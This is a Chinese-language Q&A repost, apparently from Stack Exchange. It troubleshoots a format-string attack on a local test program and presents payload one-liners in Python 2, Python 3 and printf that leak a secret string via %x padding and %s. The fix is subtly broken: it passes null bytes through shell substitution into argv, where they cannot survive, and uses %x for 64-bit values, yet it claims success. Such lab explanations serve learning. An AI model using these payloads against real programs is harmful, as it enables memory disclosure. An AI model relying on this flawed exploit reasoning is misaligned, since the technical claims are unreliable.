格式字符串攻击未达预期:触发段错误而非获取秘密值
格式字符串攻击段错误原因及修复方案
核心问题
- 不完整的64位指针:你的运行环境是64位系统,指针长度为8字节,但payload仅写入了6字节的secret地址(
\xa0\x92\x55\x55\x55\x55)。%s格式符会尝试读取这个残缺的非法地址,直接触发段错误。 - 参数传递逻辑误解:x86_64的调用约定中,printf的前6个可变参数通过寄存器传递,剩余参数才从栈上读取。你之前基于32位栈布局的参数计数方式,可能导致填充的
%x数量未能正确跳过无关的寄存器/栈内容。
修复步骤
1. 构造完整的小端序地址
secret的地址为0x5555555592a0,64位完整地址是0x00005555555592a0。小端序(低字节优先存储)的字节序列为:\xa0\x92\x55\x55\x55\x55\x00\x00
2. 匹配正确的填充数量
你通过AAAA测试确认7个%x后出现41414141,说明第8个参数位置对应栈上的用户输入内容。因此需要用7个%x跳过前面的无关参数,再用%s读取secret地址指向的字符串。
3. 正确的执行命令
Python 2.x版本:
./a.out $(python -c 'print("\xa0\x92\x55\x55\x55\x55\x00\x00" + "%x"*7 + "%s")')
Python 3.x版本(需处理字节串):
./a.out $(python3 -c 'import sys; sys.stdout.buffer.write(b"\xa0\x92\x55\x55\x55\x55\x00\x00" + b"%x"*7 + b"%s")')
替代方案:用printf构造payload(避免shell解析问题)
./a.out "$(printf '\xa0\x92\x55\x55\x55\x55\x00\x00%x%x%x%x%x%x%x%s')"
验证说明
执行正确的payload后,%s会解析栈上的完整secret地址,读取该地址指向的"1234"字符串,输出中会包含目标秘密值。
内容的提问来源于stack exchange,提问作者Niflnir
相关产品推荐
相关产品推荐

